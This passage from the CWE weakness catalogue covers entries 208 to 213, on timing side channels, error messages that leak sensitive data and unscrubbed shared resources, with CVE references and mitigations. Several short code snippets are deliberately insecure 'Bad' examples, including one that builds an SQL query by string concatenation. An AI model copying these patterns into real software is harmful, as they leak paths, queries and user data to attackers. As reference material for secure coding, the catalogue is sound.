PLOVER			External behavioral inconsistency infoleak

## CWE-208: Observable Timing Discrepancy

**Weakness ID** : 208

**Structure** : Simple

**Abstraction** : Base

### Description

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

### Extended Description

In security-relevant contexts, even small variations in timing can be exploited by attackers to indirectly infer certain details about the product's internal operations. For example, in some cryptographic algorithms, attackers can use timing differences to infer certain properties about a private key, making the key easier to guess. Timing discrepancies effectively form a timing side channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	203	Observable Discrepancy	497
ParentOf	B	1254	Incorrect Comparison Logic Granularity	1900
CanPrecede	G	327	Use of a Broken or Risky Cryptographic Algorithm	758
CanPrecede	B	385	Covert Timing Channel	890

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2220

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2003-0078</b>	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack." <a href="https://www.cve.org/CVERecord?id=CVE-2003-0078">https://www.cve.org/CVERecord?id=CVE-2003-0078</a>
<b>CVE-2000-1117</b>	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1117">https://www.cve.org/CVERecord?id=CVE-2000-1117</a>
<b>CVE-2003-0637</b>	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0637">https://www.cve.org/CVERecord?id=CVE-2003-0637</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0190">https://www.cve.org/CVERecord?id=CVE-2003-0190</a>
<b>CVE-2004-1602</b>	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1602">https://www.cve.org/CVERecord?id=CVE-2004-1602</a>
<b>CVE-2005-0918</b>	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0918">https://www.cve.org/CVERecord?id=CVE-2005-0918</a>

### Functional Areas

- Cryptography
- Authentication

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	2197

## Notes

### Relationship

Often primary in cryptographic applications and algorithms.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Timing discrepancy infoleak

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
462	Cross-Domain Search Timing
541	Application Fingerprinting
580	System Footprinting

## CWE-209: Generation of Error Message Containing Sensitive Information

**Weakness ID :** 209

**Structure :** Simple

**Abstraction :** Base

### Description

The product generates an error message that includes sensitive information about its environment, users, or associated data.

### Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

- self-generated: the source code explicitly constructs the error message and delivers it
- externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1468
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	484

Nature	Type	ID	Name	Page
ParentOf	B	210	Self-generated Error Message Containing Sensitive Information	516
ParentOf	B	211	Externally-Generated Error Message Containing Sensitive Information	518
ParentOf	V	550	Server-generated Error Message Containing Sensitive Information	1191
PeerOf	B	1295	Debug Messages Revealing Unnecessary Information	1985
CanFollow	B	600	Uncaught Exception in Servlet	1264
CanFollow	B	756	Missing Custom Error Page	1469

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	484

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2104
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2115

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** PHP (*Prevalence = Often*)

**Language :** Java (*Prevalence = Often*)

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.</i>	

### Detection Methods

#### Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

*Effectiveness = High*

#### Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

*Effectiveness = Moderate*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

### Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

### Phase: Implementation

### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

### Phase: Implementation

**Phase: Build and Compilation**

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

**Phase: System Configuration**

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the `display_errors` setting during configuration, or at runtime using the `error_reporting()` function.

**Phase: System Configuration**

Create default error pages or messages that do not leak any information.

**Demonstrative Examples****Example 1:**

In the following example, sensitive information might be printed depending on the exception that occurs.

*Example Language: Java*

*(Bad)*

```
try {
    /.../
}
catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

**Example 2:**

This code tries to open a database connection, and prints any exceptions that occur.

*Example Language: PHP*

*(Bad)*

```
try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $Mysql_config_location, "\n";
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

**Example 3:**

The following code generates an error message that leaks the full pathname of the configuration file.

*Example Language: Perl*

*(Bad)*

```
$ConfigDir = "/home/myprog/config";
$username = Get userInput("username");
# avoid CWE-22, CWE-78, others.
```



```

ExitError("Bad hacker!") if ($uname !~ /^\\w+$/);
$file = "$ConfigDir/$uname.txt";
if (!( -e $file)) {
    ExitError("Error: $file does not exist");
}
...

```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a \$file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

#### Example 4:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

Example Language: Java

(Bad)

```

public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

#### Observed Examples

Reference	Description
<b>CVE-2008-2049</b>	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2049">https://www.cve.org/CVERecord?id=CVE-2008-2049</a>
<b>CVE-2007-5172</b>	Program reveals password in error message if attacker can trigger certain database errors. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5172">https://www.cve.org/CVERecord?id=CVE-2007-5172</a>
<b>CVE-2008-4638</b>	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). <a href="https://www.cve.org/CVERecord?id=CVE-2008-4638">https://www.cve.org/CVERecord?id=CVE-2008-4638</a>
<b>CVE-2008-1579</b>	Existence of user names can be determined by requesting a nonexistent blog and reading the error message.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-1579">https://www.cve.org/CVERecord?id=CVE-2008-1579</a>
<b>CVE-2007-1409</b>	Direct request to library file in web application triggers pathname leak in error message.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-1409">https://www.cve.org/CVERecord?id=CVE-2007-1409</a>
<b>CVE-2008-3060</b>	Malformed input to login page causes leak of full path when IMAP call fails.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-3060">https://www.cve.org/CVERecord?id=CVE-2008-3060</a>
<b>CVE-2005-0603</b>	Malformed regexp syntax leads to information exposure in error message.
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-0603">https://www.cve.org/CVERecord?id=CVE-2005-0603</a>
<b>CVE-2017-9615</b>	verbose logging stores admin credentials in a world-readable log file
	<a href="https://www.cve.org/CVERecord?id=CVE-2017-9615">https://www.cve.org/CVERecord?id=CVE-2017-9615</a>
<b>CVE-2018-1999036</b>	SSH password for private key stored in build log
	<a href="https://www.cve.org/CVERecord?id=CVE-2018-1999036">https://www.cve.org/CVERecord?id=CVE-2018-1999036</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	2125
MemberOf	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	<b>C</b>	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	<b>C</b>	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	<b>C</b>	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	<b>C</b>	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	<b>C</b>	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2184
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	2231
MemberOf	<b>C</b>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through error messages
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
7	Blind SQL Injection
54	Query System for Information
215	Fuzzing for application mapping
463	Padding Oracle Crypto Attack

### References

- [REF-174]Web Application Security Consortium. "Information Leakage". < [http://www.webappsec.org/projects/threat/classes/information\\_leakage.shtml](http://www.webappsec.org/projects/threat/classes/information_leakage.shtml) >.
- [REF-175]Brian Chess and Jacob West. "Secure Programming with Static Analysis". 2007. Addison-Wesley.
- [REF-176]Michael Howard and David LeBlanc. "Writing Secure Code". 1st Edition. 2001 November 3. Microsoft Press.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-179]Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". 2010 March 7. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message> >.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-210: Self-generated Error Message Containing Sensitive Information

**Weakness ID** : 210

**Structure** : Simple

**Abstraction** : Base


### Description

The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		209	Generation of Error Message Containing Sensitive Information	510

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1016	Limit Exposure	2224

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Implementation**

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

**Phase: Implementation**

**Phase: Build and Compilation**

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

### Demonstrative Examples

#### Example 1:

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

*Example Language: Perl*

*(Bad)*

```
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname !~ /\w+$/)
{
    ExitError("Bad hacker!");
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!( -e $filename))
{
    ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

### Observed Examples

Reference	Description
<b>CVE-2005-1745</b>	Infoleak of sensitive information in error message (physical access required). <a href="https://www.cve.org/CVERecord?id=CVE-2005-1745">https://www.cve.org/CVERecord?id=CVE-2005-1745</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product-Generated Error Message Infoleak
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-211: Externally-Generated Error Message Containing Sensitive Information

**Weakness ID :** 211

**Structure :** Simple

**Abstraction :** Base

### Description

The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		209	Generation of Error Message Containing Sensitive Information	510
ParentOf		535	Exposure of Information Through Shell Error Message	1174
ParentOf		536	Servlet Runtime Error Message Containing Sensitive Information	1175
ParentOf		537	Java Runtime Error Message Containing Sensitive Information	1176

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	2224

### Weakness Ordinalities

**Resultant :**

## Applicable Platforms

**Language** : PHP (*Prevalence = Often*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable `display_errors`.

### Phase: Implementation

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

### Phase: Implementation

#### Phase: Build and Compilation

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

### Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

### Phase: Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

## Observed Examples

Reference	Description
<b>CVE-2004-1581</b>	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1581">https://www.cve.org/CVERecord?id=CVE-2004-1581</a>
<b>CVE-2004-1579</b>	Single "" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1579">https://www.cve.org/CVERecord?id=CVE-2004-1579</a>
<b>CVE-2005-0459</b>	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0459">https://www.cve.org/CVERecord?id=CVE-2005-0459</a>
<b>CVE-2005-0443</b>	invalid parameter triggers a failure to find an include file, leading to infoleak in error message. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0443">https://www.cve.org/CVERecord?id=CVE-2005-0443</a>
<b>CVE-2005-0433</b>	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0433">https://www.cve.org/CVERecord?id=CVE-2005-0433</a>



Reference	Description
CVE-2004-1101	Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1101">https://www.cve.org/CVERecord?id=CVE-2004-1101</a>

### Functional Areas

- Error Handling

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Notes

#### Relationship

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product-External Error Message Infoleak

## CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

**Weakness ID** : 212

**Structure** : Simple

**Abstraction** : Base

### Description

The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.

### Extended Description





Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, a product for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383
ParentOf		226	Sensitive Information in Resource Not Removed Before Reuse	536
ParentOf		1258	Exposure of Sensitive System Information Due to Uncleared Debug Information	1912
CanPrecede		201	Insertion of Sensitive Information Into Sent Data	493

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.</i>	

### Potential Mitigations

#### Phase: Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

**Phase: Implementation**

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

**Demonstrative Examples****Example 1:**

This code either generates a public HTML user information page or a JSON response containing the same user information.

*Example Language: PHP*

*(Bad)*

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
        else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
}
else
{
    $record = getUserRecord($username);
    echo json_encode($record);
}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

**Observed Examples**

Reference	Description
<b>CVE-2005-0406</b>	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). <a href="https://www.cve.org/CVERecord?id=CVE-2005-0406">https://www.cve.org/CVERecord?id=CVE-2005-0406</a>
<b>CVE-2002-0704</b>	NAT feature in firewall leaks internal IP addresses in ICMP error messages. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0704">https://www.cve.org/CVERecord?id=CVE-2002-0704</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

## Notes

### Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

### Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

### Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Boundary Cleansing Infoleak

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

## CWE-213: Exposure of Sensitive Information Due to Incompatible Policies

**Weakness ID** : 213

**Structure** : Simple

**Abstraction** : Base

### Description

The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.

### Extended Description

When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators. Each stakeholder effectively has its own intended security policy that the product is expected to uphold. When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Demonstrative Examples

### Example 1:

This code displays some information on a web page.

*Example Language: JSP*

*(Bad)*

```
